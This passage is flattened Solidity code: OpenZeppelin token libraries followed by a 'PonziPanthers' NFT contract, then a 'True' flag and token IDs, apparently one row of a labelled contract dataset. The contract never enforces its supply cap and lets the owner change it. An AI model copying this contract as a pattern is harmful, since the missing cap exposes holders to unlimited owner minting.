replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Enumerable is IERC721 { /* * @dev Returns the total amount of tokens stored by the contract. / function totalSupply() external view returns (uint256); /* * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. / function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /* * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. / function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /* * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /* * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. / contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /* * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. / constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } pragma solidity ^0.8.0; abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: PonziPanthers.sol pragma solidity ^0.8.4; contract PonziPanthers is ERC721Enumerable, Ownable { using Strings for uint256; using Address for address; using Counters for Counters.Counter; uint256 public maxSupply = 4949; Counters.Counter private _tokenIds; uint256 public totalNFT; uint256 public totalMint; string public baseURI; string public notRevealedUri; string public baseExtension = ".json"; bool public isBurnEnabled = false; bool public paused = false; bool public revealed = false; constructor() ERC721("Ponzi Panthers", "PONZI") {} function changePauseState() public onlyOwner { paused = !paused; } function setBaseURI(string calldata _tokenBaseURI) external onlyOwner { baseURI = _tokenBaseURI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function reveal() public onlyOwner { revealed = true; } function setIsBurnEnabled(bool _isBurnEnabled) external onlyOwner { isBurnEnabled = _isBurnEnabled; } function airdropPanthers(address[] calldata _addresses) external onlyOwner { uint i; uint256 _newItemId; for (i = 0; i < _addresses.length; i++) { _tokenIds.increment(); _newItemId = _tokenIds.current(); _safeMint(_addresses[i], _newItemId); totalNFT = totalNFT + 1; totalMint = totalMint + 1; } } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (revealed == false) { string memory unrev = notRevealedUri; return bytes(unrev).length > 0 ? string(abi.encodePacked(unrev, "/", tokenId.toString(), baseExtension)) : ""; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, "/", tokenId.toString(), baseExtension)) : ""; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function changeTotalSupply(uint256 _newSupply) public onlyOwner { maxSupply = _newSupply; } function burn(uint256 tokenId) external { require(isBurnEnabled, "Burning disabled!"); require(_isApprovedOrOwner(msg.sender, tokenId), "Burn caller is not owner nor approved!"); _burn(tokenId); totalNFT = totalNFT - 1; } function tokensMinted() public view returns (uint256) { return _tokenIds.current(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5890, 1011, 2676, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 24094, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 24094, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 24094, 1008, 1030, 3166, 4717, 25805, 2078, 1006, 1030, 23822, 1007, 1008, 1030, 16475, 3640, 24094, 2008, 2064, 2069, 2022, 4297, 28578, 14088, 1010, 11703, 28578, 14088, 2030, 25141, 1012, 2023, 2064, 2022, 2109, 1041, 1012, 1043, 1012, 2000, 2650, 1996, 2193, 1008, 1997, 3787, 1999, 1037, 12375, 1010, 15089, 9413, 2278, 2581, 17465, 8909, 2015, 1010, 2030, 10320, 5227, 8909, 2015, 1012, 1008, 1008, 2421, 2007, 1036, 2478, 24094, 2005, 24094, 1012, 4675, 1025, 1036, 1008, 1013, 3075, 24094, 1063, 2358, 6820, 6593, 4675, 1063, 1013, 1013, 2023, 8023, 2323, 2196, 2022, 3495, 11570, 2011, 5198, 1997, 1996, 3075, 1024, 10266, 2442, 2022, 7775, 2000, 1013, 1013, 1996, 3075, 1005, 1055, 3853, 1012, 2004, 1997, 5024, 3012, 1058, 2692, 1012, 1019, 1012, 1016, 1010, 2023, 3685, 2022, 16348, 1010, 2295, 2045, 2003, 1037, 6378, 2000, 5587, 1013, 1013, 2023, 3444, 1024, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 4805, 24434, 21318, 3372, 17788, 2575, 1035, 3643, 1025, 1013, 1013, 12398, 1024, 1014, 1065, 3853, 2783, 1006, 4675, 5527, 4675, 1007, 4722, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4675, 1012, 1035, 3643, 1025, 1065, 3853, 4297, 28578, 4765, 1006, 4675, 5527, 4675, 1007, 4722, 1063, 4895, 5403, 18141, 1063, 4675, 1012, 1035, 3643, 1009, 1027, 1015, 1025, 1065, 1065, 3853, 11703, 28578, 4765, 1006, 4675, 5527, 4675, 1007, 